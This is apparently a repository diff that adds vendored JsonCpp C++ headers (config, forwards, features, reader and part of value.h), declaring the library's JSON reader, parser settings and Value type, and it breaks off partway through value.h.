/// If defined, indicates that the source file is amalgamated
/// to prevent private header inclusion.
/// Remarks: it is automatically defined in the generated amalgamated header.
// #define JSON_IS_AMALGAMATION
// Export macros for DLL visibility
#if defined(JSON_DLL_BUILD)
#if defined(_MSC_VER) || defined(__MINGW32__)
#define JSON_API __declspec(dllexport)
#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING
#elif defined(__GNUC__) || defined(__clang__)
#define JSON_API __attribute__((visibility("default")))
#endif // if defined(_MSC_VER)
#elif defined(JSON_DLL)
#if defined(_MSC_VER) || defined(__MINGW32__)
#define JSON_API __declspec(dllimport)
#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING
#endif // if defined(_MSC_VER)
#endif // ifdef JSON_DLL_BUILD
#if !defined(JSON_API)
#define JSON_API
#endif
#if defined(_MSC_VER) && _MSC_VER < 1800
#error \
"ERROR: Visual Studio 12 (2013) with _MSC_VER=1800 is the oldest supported compiler with sufficient C++11 capabilities"
#endif
#if defined(_MSC_VER) && _MSC_VER < 1900
// As recommended at
// https://stackoverflow.com/questions/2915672/snprintf-and-visual-studio-2010
extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size,
const char* format, ...);
#define jsoncpp_snprintf msvc_pre1900_c99_snprintf
#else
#define jsoncpp_snprintf std::snprintf
#endif
// If JSON_NO_INT64 is defined, then Json only support C++ "int" type for
// integer
// Storages, and 64 bits integer support is disabled.
// #define JSON_NO_INT64 1
// JSONCPP_OVERRIDE is maintained for backwards compatibility of external tools.
// C++11 should be used directly in JSONCPP.
#define JSONCPP_OVERRIDE override
#ifdef __clang__
#if __has_extension(attribute_deprecated_with_message)
#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message)))
#endif
#elif defined(__GNUC__) // not clang (gcc comes later since clang emulates gcc)
#if (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5))
#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message)))
#elif (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1))
#define JSONCPP_DEPRECATED(message) __attribute__((__deprecated__))
#endif // GNUC version
#elif defined(_MSC_VER) // MSVC (after clang because clang on Windows emulates
// MSVC)
#define JSONCPP_DEPRECATED(message) __declspec(deprecated(message))
#endif // __clang__ || __GNUC__ || _MSC_VER
#if !defined(JSONCPP_DEPRECATED)
#define JSONCPP_DEPRECATED(message)
#endif // if !defined(JSONCPP_DEPRECATED)
#if defined(__clang__) || (defined(__GNUC__) && (__GNUC__ >= 6))
#define JSON_USE_INT64_DOUBLE_CONVERSION 1
#endif
#if !defined(JSON_IS_AMALGAMATION)
#include "allocator.h"
#include "version.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
namespace Json {
using Int = int;
using UInt = unsigned int;
#if defined(JSON_NO_INT64)
using LargestInt = int;
using LargestUInt = unsigned int;
#undef JSON_HAS_INT64
#else // if defined(JSON_NO_INT64)
// For Microsoft Visual use specific types as long long is not supported
#if defined(_MSC_VER) // Microsoft Visual Studio
using Int64 = __int64;
using UInt64 = unsigned __int64;
#else // if defined(_MSC_VER) // Other platforms, use long long
using Int64 = int64_t;
using UInt64 = uint64_t;
#endif // if defined(_MSC_VER)
using LargestInt = Int64;
using LargestUInt = UInt64;
#define JSON_HAS_INT64
#endif // if defined(JSON_NO_INT64)
template <typename T>
using Allocator =
typename std::conditional<JSONCPP_USING_SECURE_MEMORY, SecureAllocator<T>,
std::allocator<T>>::type;
using String = std::basic_string<char, std::char_traits<char>, Allocator<char>>;
using IStringStream =
std::basic_istringstream<String::value_type, String::traits_type,
String::allocator_type>;
using OStringStream =
std::basic_ostringstream<String::value_type, String::traits_type,
String::allocator_type>;
using IStream = std::istream;
using OStream = std::ostream;
} // namespace Json
// Legacy names (formerly macros).
using JSONCPP_STRING = Json::String;
using JSONCPP_ISTRINGSTREAM = Json::IStringStream;
using JSONCPP_OSTRINGSTREAM = Json::OStringStream;
using JSONCPP_ISTREAM = Json::IStream;
using JSONCPP_OSTREAM = Json::OStream;
#endif // JSON_CONFIG_H_INCLUDED

View File

@@ -0,0 +1,43 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_FORWARDS_H_INCLUDED
#define JSON_FORWARDS_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "config.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
namespace Json {
// writer.h
class StreamWriter;
class StreamWriterBuilder;
class Writer;
class FastWriter;
class StyledWriter;
class StyledStreamWriter;
// reader.h
class Reader;
class CharReader;
class CharReaderBuilder;
// json_features.h
class Features;
// value.h
using ArrayIndex = unsigned int;
class StaticString;
class Path;
class PathArgument;
class Value;
class ValueIteratorBase;
class ValueIterator;
class ValueConstIterator;
} // namespace Json
#endif // JSON_FORWARDS_H_INCLUDED

View File

@@ -0,0 +1,15 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_JSON_H_INCLUDED
#define JSON_JSON_H_INCLUDED
#include "config.h"
#include "json_features.h"
#include "reader.h"
#include "value.h"
#include "writer.h"
#endif // JSON_JSON_H_INCLUDED

View File

@@ -0,0 +1,62 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_FEATURES_H_INCLUDED
#define JSON_FEATURES_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "forwards.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#pragma pack(push)
#pragma pack()
namespace Json {
/** \brief Configuration passed to reader and writer.
* This configuration object can be used to force the Reader or Writer
* to behave in a standard conforming way.
*/
class JSON_API Features {
public:
/** \brief A configuration that allows all features and assumes all strings
* are UTF-8.
* - C & C++ comments are allowed
* - Root object can be any JSON value
* - Assumes Value strings are encoded in UTF-8
*/
static Features all();
/** \brief A configuration that is strictly compatible with the JSON
* specification.
* - Comments are forbidden.
* - Root object must be either an array or an object value.
* - Assumes Value strings are encoded in UTF-8
*/
static Features strictMode();
/** \brief Initialize the configuration like JsonConfig::allFeatures;
*/
Features();
/// \c true if comments are allowed. Default: \c true.
bool allowComments_{true};
/// \c true if root must be either an array or an object value. Default: \c
/// false.
bool strictRoot_{false};
/// \c true if dropped null placeholders are allowed. Default: \c false.
bool allowDroppedNullPlaceholders_{false};
/// \c true if numeric object key are allowed. Default: \c false.
bool allowNumericKeys_{false};
};
} // namespace Json
#pragma pack(pop)
#endif // JSON_FEATURES_H_INCLUDED

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,437 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_READER_H_INCLUDED
#define JSON_READER_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "json_features.h"
#include "value.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#include <deque>
#include <iosfwd>
#include <istream>
#include <stack>
#include <string>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(push)
#pragma warning(disable : 4251)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
namespace Json {
/** \brief Unserialize a <a HREF="http://www.json.org">JSON</a> document into a
* Value.
*
* \deprecated Use CharReader and CharReaderBuilder.
*/
class JSON_API Reader {
public:
using Char = char;
using Location = const Char*;
/** \brief An error tagged with where in the JSON text it was encountered.
*
* The offsets give the [start, limit) range of bytes within the text. Note
* that this is bytes, not codepoints.
*/
struct StructuredError {
ptrdiff_t offset_start;
ptrdiff_t offset_limit;
String message;
};
/** \brief Constructs a Reader allowing all features for parsing.
* \deprecated Use CharReader and CharReaderBuilder.
*/
Reader();
/** \brief Constructs a Reader allowing the specified feature set for parsing.
* \deprecated Use CharReader and CharReaderBuilder.
*/
Reader(const Features& features);
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document.
*
* \param document UTF-8 encoded string containing the document
* to read.
* \param[out] root Contains the root value of the document if it
* was successfully parsed.
* \param collectComments \c true to collect comment and allow writing
* them back during serialization, \c false to
* discard comments. This parameter is ignored
* if Features::allowComments_ is \c false.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
bool parse(const std::string& document, Value& root,
bool collectComments = true);
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document.
*
* \param beginDoc Pointer on the beginning of the UTF-8 encoded
* string of the document to read.
* \param endDoc Pointer on the end of the UTF-8 encoded string
* of the document to read. Must be >= beginDoc.
* \param[out] root Contains the root value of the document if it
* was successfully parsed.
* \param collectComments \c true to collect comment and allow writing
* them back during serialization, \c false to
* discard comments. This parameter is ignored
* if Features::allowComments_ is \c false.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
bool parse(const char* beginDoc, const char* endDoc, Value& root,
bool collectComments = true);
/// \brief Parse from input stream.
/// \see Json::operator>>(std::istream&, Json::Value&).
bool parse(IStream& is, Value& root, bool collectComments = true);
/** \brief Returns a user friendly string that list errors in the parsed
* document.
*
* \return Formatted error message with the list of errors with their
* location in the parsed document. An empty string is returned if no error
* occurred during parsing.
* \deprecated Use getFormattedErrorMessages() instead (typo fix).
*/
JSONCPP_DEPRECATED("Use getFormattedErrorMessages() instead.")
String getFormatedErrorMessages() const;
/** \brief Returns a user friendly string that list errors in the parsed
* document.
*
* \return Formatted error message with the list of errors with their
* location in the parsed document. An empty string is returned if no error
* occurred during parsing.
*/
String getFormattedErrorMessages() const;
/** \brief Returns a vector of structured errors encountered while parsing.
*
* \return A (possibly empty) vector of StructuredError objects. Currently
* only one error can be returned, but the caller should tolerate multiple
* errors. This can occur if the parser recovers from a non-fatal parse
* error and then encounters additional errors.
*/
std::vector<StructuredError> getStructuredErrors() const;
/** \brief Add a semantic error message.
*
* \param value JSON Value location associated with the error
* \param message The error message.
* \return \c true if the error was successfully added, \c false if the Value
* offset exceeds the document size.
*/
bool pushError(const Value& value, const String& message);
/** \brief Add a semantic error message with extra context.
*
* \param value JSON Value location associated with the error
* \param message The error message.
* \param extra Additional JSON Value location to contextualize the error
* \return \c true if the error was successfully added, \c false if either
* Value offset exceeds the document size.
*/
bool pushError(const Value& value, const String& message, const Value& extra);
/** \brief Return whether there are any errors.
*
* \return \c true if there are no errors to report \c false if errors have
* occurred.
*/
bool good() const;
private:
enum TokenType {
tokenEndOfStream = 0,
tokenObjectBegin,
tokenObjectEnd,
tokenArrayBegin,
tokenArrayEnd,
tokenString,
tokenNumber,
tokenTrue,
tokenFalse,
tokenNull,
tokenArraySeparator,
tokenMemberSeparator,
tokenComment,
tokenError
};
class Token {
public:
TokenType type_;
Location start_;
Location end_;
};
class ErrorInfo {
public:
Token token_;
String message_;
Location extra_;
};
using Errors = std::deque<ErrorInfo>;
bool readToken(Token& token);
bool readTokenSkippingComments(Token& token);
void skipSpaces();
bool match(const Char* pattern, int patternLength);
bool readComment();
bool readCStyleComment();
bool readCppStyleComment();
bool readString();
void readNumber();
bool readValue();
bool readObject(Token& token);
bool readArray(Token& token);
bool decodeNumber(Token& token);
bool decodeNumber(Token& token, Value& decoded);
bool decodeString(Token& token);
bool decodeString(Token& token, String& decoded);
bool decodeDouble(Token& token);
bool decodeDouble(Token& token, Value& decoded);
bool decodeUnicodeCodePoint(Token& token, Location& current, Location end,
unsigned int& unicode);
bool decodeUnicodeEscapeSequence(Token& token, Location& current,
Location end, unsigned int& unicode);
bool addError(const String& message, Token& token, Location extra = nullptr);
bool recoverFromError(TokenType skipUntilToken);
bool addErrorAndRecover(const String& message, Token& token,
TokenType skipUntilToken);
void skipUntilSpace();
Value& currentValue();
Char getNextChar();
void getLocationLineAndColumn(Location location, int& line,
int& column) const;
String getLocationLineAndColumn(Location location) const;
void addComment(Location begin, Location end, CommentPlacement placement);
static bool containsNewLine(Location begin, Location end);
static String normalizeEOL(Location begin, Location end);
using Nodes = std::stack<Value*>;
Nodes nodes_;
Errors errors_;
String document_;
Location begin_{};
Location end_{};
Location current_{};
Location lastValueEnd_{};
Value* lastValue_{};
String commentsBefore_;
Features features_;
bool collectComments_{};
}; // Reader
/** Interface for reading JSON from a char array.
*/
class JSON_API CharReader {
public:
struct JSON_API StructuredError {
ptrdiff_t offset_start;
ptrdiff_t offset_limit;
String message;
};
virtual ~CharReader() = default;
/** \brief Read a Value from a <a HREF="http://www.json.org">JSON</a>
* document. The document must be a UTF-8 encoded string containing the
* document to read.
*
* \param beginDoc Pointer on the beginning of the UTF-8 encoded string
* of the document to read.
* \param endDoc Pointer on the end of the UTF-8 encoded string of the
* document to read. Must be >= beginDoc.
* \param[out] root Contains the root value of the document if it was
* successfully parsed.
* \param[out] errs Formatted error messages (if not NULL) a user
* friendly string that lists errors in the parsed
* document.
* \return \c true if the document was successfully parsed, \c false if an
* error occurred.
*/
virtual bool parse(char const* beginDoc, char const* endDoc, Value* root,
String* errs);
/** \brief Returns a vector of structured errors encountered while parsing.
* Each parse call resets the stored list of errors.
*/
std::vector<StructuredError> getStructuredErrors() const;
class JSON_API Factory {
public:
virtual ~Factory() = default;
/** \brief Allocate a CharReader via operator new().
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
virtual CharReader* newCharReader() const = 0;
}; // Factory
protected:
class Impl {
public:
virtual ~Impl() = default;
virtual bool parse(char const* beginDoc, char const* endDoc, Value* root,
String* errs) = 0;
virtual std::vector<StructuredError> getStructuredErrors() const = 0;
};
explicit CharReader(std::unique_ptr<Impl> impl) : _impl(std::move(impl)) {}
private:
std::unique_ptr<Impl> _impl;
}; // CharReader
/** \brief Build a CharReader implementation.
*
* Usage:
* \code
* using namespace Json;
* CharReaderBuilder builder;
* builder["collectComments"] = false;
* Value value;
* String errs;
* bool ok = parseFromStream(builder, std::cin, &value, &errs);
* \endcode
*/
class JSON_API CharReaderBuilder : public CharReader::Factory {
public:
// Note: We use a Json::Value so that we can add data-members to this class
// without a major version bump.
/** Configuration of this builder.
* These are case-sensitive.
* Available settings (case-sensitive):
* - `"collectComments": false or true`
* - true to collect comment and allow writing them back during
* serialization, false to discard comments. This parameter is ignored
* if allowComments is false.
* - `"allowComments": false or true`
* - true if comments are allowed.
* - `"allowTrailingCommas": false or true`
* - true if trailing commas in objects and arrays are allowed.
* - `"strictRoot": false or true`
* - true if root must be either an array or an object value
* - `"allowDroppedNullPlaceholders": false or true`
* - true if dropped null placeholders are allowed. (See
* StreamWriterBuilder.)
* - `"allowNumericKeys": false or true`
* - true if numeric object keys are allowed.
* - `"allowSingleQuotes": false or true`
* - true if '' are allowed for strings (both keys and values)
* - `"stackLimit": integer`
* - Exceeding stackLimit (recursive depth of `readValue()`) will cause an
* exception.
* - This is a security issue (seg-faults caused by deeply nested JSON), so
* the default is low.
* - `"failIfExtra": false or true`
* - If true, `parse()` returns false when extra non-whitespace trails the
* JSON value in the input string.
* - `"rejectDupKeys": false or true`
* - If true, `parse()` returns false when a key is duplicated within an
* object.
* - `"allowSpecialFloats": false or true`
* - If true, special float values (NaNs and infinities) are allowed and
* their values are lossfree restorable.
* - `"skipBom": false or true`
* - If true, if the input starts with the Unicode byte order mark (BOM),
* it is skipped.
*
* You can examine 'settings_` yourself to see the defaults. You can also
* write and read them just like any JSON Value.
* \sa setDefaults()
*/
Json::Value settings_;
CharReaderBuilder();
~CharReaderBuilder() override;
CharReader* newCharReader() const override;
/** \return true if 'settings' are legal and consistent;
* otherwise, indicate bad settings via 'invalid'.
*/
bool validate(Json::Value* invalid) const;
/** A simple way to update a specific setting.
*/
Value& operator[](const String& key);
/** Called by ctor, but you can use this to reset settings_.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderDefaults
*/
static void setDefaults(Json::Value* settings);
/** Same as old Features::strictMode().
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderStrictMode
*/
static void strictMode(Json::Value* settings);
/** ECMA-404 mode.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_reader.cpp CharReaderBuilderECMA404Mode
*/
static void ecma404Mode(Json::Value* settings);
};
/** Consume entire stream and use its begin/end.
* Someday we might have a real StreamReader, but for now this
* is convenient.
*/
bool JSON_API parseFromStream(CharReader::Factory const&, IStream&, Value* root,
String* errs);
/** \brief Read from 'sin' into 'root'.
*
* Always keep comments from the input JSON.
*
* This can be used to read a file into a particular sub-object.
* For example:
* \code
* Json::Value root;
* cin >> root["dir"]["file"];
* cout << root;
* \endcode
* Result:
* \verbatim
* {
* "dir": {
* "file": {
* // The input stream JSON would be nested here.
* }
* }
* }
* \endverbatim
* \throw std::exception on parse error.
* \see Json::operator<<()
*/
JSON_API IStream& operator>>(IStream&, Value&);
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_READER_H_INCLUDED

View File

@@ -0,0 +1,967 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_VALUE_H_INCLUDED
#define JSON_VALUE_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "forwards.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
// Conditional NORETURN attribute on the throw functions would:
// a) suppress false positives from static code analysis
// b) possibly improve optimization opportunities.
#if !defined(JSONCPP_NORETURN)
#if defined(_MSC_VER) && _MSC_VER == 1800
#define JSONCPP_NORETURN __declspec(noreturn)
#else
#define JSONCPP_NORETURN [[noreturn]]
#endif
#endif
// Support for '= delete' with template declarations was a late addition
// to the c++11 standard and is rejected by clang 3.8 and Apple clang 8.2
// even though these declare themselves to be c++11 compilers.
#if !defined(JSONCPP_TEMPLATE_DELETE)
#if defined(__clang__) && defined(__apple_build_version__)
#if __apple_build_version__ <= 8000042
#define JSONCPP_TEMPLATE_DELETE
#endif
#elif defined(__clang__)
#if __clang_major__ == 3 && __clang_minor__ <= 8
#define JSONCPP_TEMPLATE_DELETE
#endif
#endif
#if !defined(JSONCPP_TEMPLATE_DELETE)
#define JSONCPP_TEMPLATE_DELETE = delete
#endif
#endif
#include <array>
#include <exception>
#include <map>
#include <memory>
#include <string>
#include <vector>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(push)
#pragma warning(disable : 4251 4275)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
/** \brief JSON (JavaScript Object Notation).
*/
namespace Json {
#if JSON_USE_EXCEPTION
/** Base class for all exceptions we throw.
*
* We use nothing but these internally. Of course, STL can throw others.
*/
class JSON_API Exception : public std::exception {
public:
Exception(String msg);
~Exception() noexcept override;
char const* what() const noexcept override;
protected:
String msg_;
};
/** Exceptions which the user cannot easily avoid.
*
* E.g. out-of-memory (when we use malloc), stack-overflow, malicious input
*
* \remark derived from Json::Exception
*/
class JSON_API RuntimeError : public Exception {
public:
RuntimeError(String const& msg);
};
/** Exceptions thrown by JSON_ASSERT/JSON_FAIL macros.
*
* These are precondition-violations (user bugs) and internal errors (our bugs).
*
* \remark derived from Json::Exception
*/
class JSON_API LogicError : public Exception {
public:
LogicError(String const& msg);
};
#endif
/// used internally
JSONCPP_NORETURN void throwRuntimeError(String const& msg);
/// used internally
JSONCPP_NORETURN void throwLogicError(String const& msg);
/** \brief Type of the value held by a Value object.
*/
enum ValueType {
nullValue = 0, ///< 'null' value
intValue, ///< signed integer value
uintValue, ///< unsigned integer value
realValue, ///< double value
stringValue, ///< UTF-8 string value
booleanValue, ///< bool value
arrayValue, ///< array value (ordered list)
objectValue ///< object value (collection of name/value pairs).
};
enum CommentPlacement {
commentBefore = 0, ///< a comment placed on the line before a value
commentAfterOnSameLine, ///< a comment just after a value on the same line
commentAfter, ///< a comment on the line after a value (only make sense for
/// root value)
numberOfCommentPlacement
};
/** \brief Type of precision for formatting of real values.
*/
enum PrecisionType {
significantDigits = 0, ///< we set max number of significant digits in string
decimalPlaces ///< we set max number of digits after "." in string
};
/** \brief Lightweight wrapper to tag static string.
*
* Value constructor and objectValue member assignment takes advantage of the
* StaticString and avoid the cost of string duplication when storing the
* string or the member name.
*
* Example of usage:
* \code
* Json::Value aValue( StaticString("some text") );
* Json::Value object;
* static const StaticString code("code");
* object[code] = 1234;
* \endcode
*/
class JSON_API StaticString {
public:
explicit StaticString(const char* czstring) : c_str_(czstring) {}
operator const char*() const { return c_str_; }
const char* c_str() const { return c_str_; }
private:
const char* c_str_;
};
/** \brief Represents a <a HREF="http://www.json.org">JSON</a> value.
*
* This class is a discriminated union wrapper that can represents a:
* - signed integer [range: Value::minInt - Value::maxInt]
* - unsigned integer (range: 0 - Value::maxUInt)
* - double
* - UTF-8 string
* - boolean
* - 'null'
* - an ordered list of Value
* - collection of name/value pairs (javascript object)
*
* The type of the held value is represented by a #ValueType and
* can be obtained using type().
*
* Values of an #objectValue or #arrayValue can be accessed using operator[]()
* methods.
* Non-const methods will automatically create the a #nullValue element
* if it does not exist.
* The sequence of an #arrayValue will be automatically resized and initialized
* with #nullValue. resize() can be used to enlarge or truncate an #arrayValue.
*
* The get() methods can be used to obtain default value in the case the
* required element does not exist.
*
* It is possible to iterate over the list of member keys of an object using
* the getMemberNames() method.
*
* \note #Value string-length fit in size_t, but keys must be < 2^30.
* (The reason is an implementation detail.) A #CharReader will raise an
* exception if a bound is exceeded to avoid security holes in your app,
* but the Value API does *not* check bounds. That is the responsibility
* of the caller.
*/
class JSON_API Value {
friend class ValueIteratorBase;
public:
using Members = std::vector<String>;
using iterator = ValueIterator;
using const_iterator = ValueConstIterator;
using UInt = Json::UInt;
using Int = Json::Int;
#if defined(JSON_HAS_INT64)
using UInt64 = Json::UInt64;
using Int64 = Json::Int64;
#endif // defined(JSON_HAS_INT64)
using LargestInt = Json::LargestInt;
using LargestUInt = Json::LargestUInt;
using ArrayIndex = Json::ArrayIndex;
// Required for boost integration, e. g. BOOST_TEST
using value_type = std::string;
#if JSON_USE_NULLREF
// Binary compatibility kludges, do not use.
static const Value& null;
static const Value& nullRef;
#endif
// null and nullRef are deprecated, use this instead.
static Value const& nullSingleton();
/// Minimum signed integer value that can be stored in a Json::Value.
static constexpr LargestInt minLargestInt =
LargestInt(~(LargestUInt(-1) / 2));
/// Maximum signed integer value that can be stored in a Json::Value.
static constexpr LargestInt maxLargestInt = LargestInt(LargestUInt(-1) / 2);
/// Maximum unsigned integer value that can be stored in a Json::Value.
static constexpr LargestUInt maxLargestUInt = LargestUInt(-1);
/// Minimum signed int value that can be stored in a Json::Value.
static constexpr Int minInt = Int(~(UInt(-1) / 2));
/// Maximum signed int value that can be stored in a Json::Value.
static constexpr Int maxInt = Int(UInt(-1) / 2);
/// Maximum unsigned int value that can be stored in a Json::Value.
static constexpr UInt maxUInt = UInt(-1);
#if defined(JSON_HAS_INT64)
/// Minimum signed 64 bits int value that can be stored in a Json::Value.
static constexpr Int64 minInt64 = Int64(~(UInt64(-1) / 2));
/// Maximum signed 64 bits int value that can be stored in a Json::Value.
static constexpr Int64 maxInt64 = Int64(UInt64(-1) / 2);
/// Maximum unsigned 64 bits int value that can be stored in a Json::Value.
static constexpr UInt64 maxUInt64 = UInt64(-1);
#endif // defined(JSON_HAS_INT64)
/// Default precision for real value for string representation.
static constexpr UInt defaultRealPrecision = 17;
// The constant is hard-coded because some compiler have trouble
// converting Value::maxUInt64 to a double correctly (AIX/xlC).
// Assumes that UInt64 is a 64 bits integer.
static constexpr double maxUInt64AsDouble = 18446744073709551615.0;
// Workaround for bug in the NVIDIAs CUDA 9.1 nvcc compiler
// when using gcc and clang backend compilers. CZString
// cannot be defined as private. See issue #486
#ifdef __NVCC__
public:
#else
private:
#endif
#ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION
class CZString {
public:
enum DuplicationPolicy { noDuplication = 0, duplicate, duplicateOnCopy };
CZString(ArrayIndex index);
CZString(char const* str, unsigned length, DuplicationPolicy allocate);
CZString(CZString const& other);
CZString(CZString&& other) noexcept;
~CZString();
CZString& operator=(const CZString& other);
CZString& operator=(CZString&& other) noexcept;
bool operator<(CZString const& other) const;
bool operator==(CZString const& other) const;
ArrayIndex index() const;
// const char* c_str() const; ///< \deprecated
char const* data() const;
unsigned length() const;
bool isStaticString() const;
private:
void swap(CZString& other);
struct StringStorage {
unsigned policy_ : 2;
unsigned length_ : 30; // 1GB max
};
char const* cstr_; // actually, a prefixed string, unless policy is noDup
union {
ArrayIndex index_;
StringStorage storage_;
};
};
public:
typedef std::map<CZString, Value> ObjectValues;
#endif // ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION
public:
/**
* \brief Create a default Value of the given type.
*
* This is a very useful constructor.
* To create an empty array, pass arrayValue.
* To create an empty object, pass objectValue.
* Another Value can then be set to this one by assignment.
* This is useful since clear() and resize() will not alter types.
*
* Examples:
* \code
* Json::Value null_value; // null
* Json::Value arr_value(Json::arrayValue); // []
* Json::Value obj_value(Json::objectValue); // {}
* \endcode
*/
Value(ValueType type = nullValue);
Value(Int value);
Value(UInt value);
#if defined(JSON_HAS_INT64)
Value(Int64 value);
Value(UInt64 value);
#endif // if defined(JSON_HAS_INT64)
Value(double value);
Value(const char* value); ///< Copy til first 0. (NULL causes to seg-fault.)
Value(const char* begin, const char* end); ///< Copy all, incl zeroes.
/**
* \brief Constructs a value from a static string.
*
* Like other value string constructor but do not duplicate the string for
* internal storage. The given string must remain alive after the call to
* this constructor.
*
* \note This works only for null-terminated strings. (We cannot change the
* size of this class, so we have nowhere to store the length, which might be
* computed later for various operations.)
*
* Example of usage:
* \code
* static StaticString foo("some text");
* Json::Value aValue(foo);
* \endcode
*/
Value(const StaticString& value);
Value(const String& value);
Value(bool value);
Value(std::nullptr_t ptr) = delete;
Value(const Value& other);
Value(Value&& other) noexcept;
~Value();
/// \note Overwrite existing comments. To preserve comments, use
/// #swapPayload().
Value& operator=(const Value& other);
Value& operator=(Value&& other) noexcept;
/// Swap everything.
void swap(Value& other);
/// Swap values but leave comments and source offsets in place.
void swapPayload(Value& other);
/// copy everything.
void copy(const Value& other);
/// copy values but leave comments and source offsets in place.
void copyPayload(const Value& other);
ValueType type() const;
/// Compare payload only, not comments etc.
bool operator<(const Value& other) const;
bool operator<=(const Value& other) const;
bool operator>=(const Value& other) const;
bool operator>(const Value& other) const;
bool operator==(const Value& other) const;
bool operator!=(const Value& other) const;
int compare(const Value& other) const;
const char* asCString() const; ///< Embedded zeroes could cause you trouble!
#if JSONCPP_USING_SECURE_MEMORY
unsigned getCStringLength() const; // Allows you to understand the length of
// the CString
#endif
String asString() const; ///< Embedded zeroes are possible.
/** Get raw char* of string-value.
* \return false if !string. (Seg-fault if str or end are NULL.)
*/
bool getString(char const** begin, char const** end) const;
Int asInt() const;
UInt asUInt() const;
#if defined(JSON_HAS_INT64)
Int64 asInt64() const;
UInt64 asUInt64() const;
#endif // if defined(JSON_HAS_INT64)
LargestInt asLargestInt() const;
LargestUInt asLargestUInt() const;
float asFloat() const;
double asDouble() const;
bool asBool() const;
bool isNull() const;
bool isBool() const;
bool isInt() const;
bool isInt64() const;
bool isUInt() const;
bool isUInt64() const;
bool isIntegral() const;
bool isDouble() const;
bool isNumeric() const;
bool isString() const;
bool isArray() const;
bool isObject() const;
/// The `as<T>` and `is<T>` member function templates and specializations.
template <typename T> T as() const JSONCPP_TEMPLATE_DELETE;
template <typename T> bool is() const JSONCPP_TEMPLATE_DELETE;
bool isConvertibleTo(ValueType other) const;
/// Number of values in array or object
ArrayIndex size() const;
/// \brief Return true if empty array, empty object, or null;
/// otherwise, false.
bool empty() const;
/// Return !isNull()
explicit operator bool() const;
/// Remove all object members and array elements.
/// \pre type() is arrayValue, objectValue, or nullValue
/// \post type() is unchanged
void clear();
/// Resize the array to newSize elements.
/// New elements are initialized to null.
/// May only be called on nullValue or arrayValue.
/// \pre type() is arrayValue or nullValue
/// \post type() is arrayValue
void resize(ArrayIndex newSize);
///@{
/// Access an array element (zero based index). If the array contains less
/// than index element, then null value are inserted in the array so that
/// its size is index+1.
/// (You may need to say 'value[0u]' to get your compiler to distinguish
/// this from the operator[] which takes a string.)
Value& operator[](ArrayIndex index);
Value& operator[](int index);
///@}
///@{
/// Access an array element (zero based index).
/// (You may need to say 'value[0u]' to get your compiler to distinguish
/// this from the operator[] which takes a string.)
const Value& operator[](ArrayIndex index) const;
const Value& operator[](int index) const;
///@}
/// If the array contains at least index+1 elements, returns the element
/// value, otherwise returns defaultValue.
Value get(ArrayIndex index, const Value& defaultValue) const;
/// Return true if index < size().
bool isValidIndex(ArrayIndex index) const;
/// \brief Append value to array at the end.
///
/// Equivalent to jsonvalue[jsonvalue.size()] = value;
Value& append(const Value& value);
Value& append(Value&& value);
